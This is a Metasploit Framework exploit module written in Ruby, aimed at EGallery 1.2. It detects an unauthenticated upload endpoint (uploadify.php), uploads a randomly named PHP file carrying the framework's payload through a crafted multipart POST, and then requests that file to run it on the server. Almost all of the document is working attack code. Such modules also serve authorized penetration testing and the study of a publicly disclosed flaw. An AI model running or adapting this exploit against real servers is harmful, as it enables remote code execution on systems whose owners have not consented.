EGallery PHP File Upload Vulnerability

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "EGallery PHP File Upload Vulnerability",
   'Description'    => %q{
     This module exploits a vulnerability found in EGallery 1.2 By abusing the
    uploadify.php file, a malicious user can upload a file to the egallery/ directory
    without any authentication, which results in arbitrary code execution. The module
    has been tested successfully on Ubuntu 10.04.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Sammy FORGIT', # Discovery, PoC
     'juan' # Metasploit module
    ],
   'References'     =>
    [
     ['OSVDB', '83891'],
     ['BID', '54464'],
     ['URL', 'http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html']
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00"
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "none"
    },
   'Platform'       => ['php'],
   'Arch'           => ARCH_PHP,
   'Targets'        =>
    [
     ['EGallery 1.2', {}]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Jul 08 2012",
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('TARGETURI', [true, 'The base path to EGallery', '/sample'])
    ], self.class)
 end

 def check
  uri = target_uri.path
  uri << '/' if uri[-1,1] != '/'

  res = send_request_cgi({
   'method' => 'GET',
   'uri'    => "#{uri}egallery/uploadify.php"
  })

  if res and res.code == 200 and res.body.empty?
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Safe
  end
 end

 def exploit
  uri = target_uri.path
  uri << '/' if uri[-1,1] != '/'

  peer = "#{rhost}:#{rport}"
  payload_name = rand_text_alpha(rand(10) + 5) + '.php'
  boundary = Rex::Text.rand_text_hex(7)

  post_data = "--#{boundary}\r\n"
  post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n\r\n"
  post_data << "#{payload_name}\r\n"
  post_data << "--#{boundary}\r\n"
  post_data << "Content-Disposition: form-data; name=\"folder\"\r\n\r\n"
  post_data << "#{uri}\r\n"
  post_data << "--#{boundary}\r\n"
  post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"
  post_data << "<?php "
  post_data << payload.encoded
  post_data << " ?>\r\n"
  post_data << "--#{boundary}--\r\n"

  print_status("#{peer} - Sending PHP payload (#{payload_name})")
  res = send_request_cgi({
   'method' => 'POST',
   'uri'    => "#{uri}egallery/uploadify.php",
   'ctype'  => "multipart/form-data; boundary=#{boundary}",
   'data'   => post_data
  })

  # If the server returns 200 and the body contains our payload name,
  # we assume we uploaded the malicious file successfully
  if not res or res.code != 200 or res.body !~ /#{payload_name}/
   print_error("#{peer} - File wasn't uploaded, aborting!")
   return
  end

  print_status("#{peer} - Executing PHP payload (#{payload_name})")
  # Execute our payload
  res = send_request_cgi({
   'method' => 'GET',
   'uri'    => "#{uri}#{payload_name}"
  })

  # If we don't get a 200 when we request our malicious payload, we suspect
  # we don't have a shell, either.  Print the status code for debugging purposes.
  if res and res.code != 200
   print_status("#{peer} - Server returned #{res.code.to_s}")
  end
 end

end